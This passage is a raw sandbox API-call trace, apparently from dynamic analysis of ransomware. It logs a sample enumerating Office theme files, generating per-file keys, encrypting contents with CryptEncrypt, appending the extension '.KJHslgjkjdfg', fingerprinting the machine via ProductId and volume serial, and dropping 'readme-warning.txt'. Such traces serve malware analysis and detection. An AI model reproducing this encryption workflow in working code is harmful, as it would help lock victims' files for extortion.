hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.817] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.817] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.817] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.817] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.817] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7e93, lpOverlapped=0x0) returned 1 [0146.818] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7ea0, dwBufLen=0x7ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7ea0) returned 1 [0146.818] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.818] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7ea0, lpOverlapped=0x0) returned 1 [0146.818] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.818] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.818] SetEndOfFile (hFile=0x118) returned 1 [0146.820] GetProcessHeap () returned 0x2a0000 [0146.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.821] GetProcessHeap () returned 0x2a0000 [0146.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.821] CloseHandle (hObject=0x118) returned 1 [0146.826] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.826] GetProcessHeap () returned 0x2a0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.826] GetProcessHeap () returned 0x2a0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.826] GetProcessHeap () returned 0x2a0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.826] GetProcessHeap () returned 0x2a0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.827] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.827] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.827] GetProcessHeap () returned 0x2a0000 [0146.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.827] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.827] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.827] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.827] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.827] RegCloseKey (hKey=0x118) returned 0x0 [0146.827] GetProcessHeap () returned 0x2a0000 [0146.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.827] GetProcessHeap () returned 0x2a0000 [0146.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.827] GetProcessHeap () returned 0x2a0000 [0146.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.827] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.827] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.827] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.828] GetProcessHeap () returned 0x2a0000 [0146.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.828] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.828] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.828] GetProcessHeap () returned 0x2a0000 [0146.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.828] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt") returned 82 [0146.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.828] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.830] CloseHandle (hObject=0x118) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.830] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.830] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0146.830] GetProcessHeap () returned 0x2a0000 [0146.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0146.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.832] GetProcessHeap () returned 0x2a0000 [0146.832] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.832] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.832] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0146.832] GetProcessHeap () returned 0x2a0000 [0146.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0146.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.832] GetProcessHeap () returned 0x2a0000 [0146.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.832] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.832] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.832] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.834] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.834] GetProcessHeap () returned 0x2a0000 [0146.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.834] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.834] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.835] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.835] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.835] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb8f8, lpOverlapped=0x0) returned 1 [0146.836] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb900, dwBufLen=0xb900 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb900) returned 1 [0146.837] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.837] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb900, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb900, lpOverlapped=0x0) returned 1 [0146.837] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.837] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.837] SetEndOfFile (hFile=0x118) returned 1 [0146.840] GetProcessHeap () returned 0x2a0000 [0146.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.840] GetProcessHeap () returned 0x2a0000 [0146.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.kjhslgjkjdfg")) returned 1 [0146.845] CloseHandle (hObject=0x118) returned 1 [0146.845] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0146.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.845] GetProcessHeap () returned 0x2a0000 [0146.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.845] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.846] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.846] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.847] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.847] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.847] GetProcessHeap () returned 0x2a0000 [0146.847] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.847] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.847] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.847] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.847] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.847] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.847] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.847] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.848] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.848] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.848] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.848] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.848] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x211, lpOverlapped=0x0) returned 1 [0146.848] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220, dwBufLen=0x220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220) returned 1 [0146.848] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.848] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x220, lpOverlapped=0x0) returned 1 [0146.848] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.848] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.848] SetEndOfFile (hFile=0x118) returned 1 [0146.850] GetProcessHeap () returned 0x2a0000 [0146.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.850] GetProcessHeap () returned 0x2a0000 [0146.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.kjhslgjkjdfg")) returned 1 [0146.854] CloseHandle (hObject=0x118) returned 1 [0146.854] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, 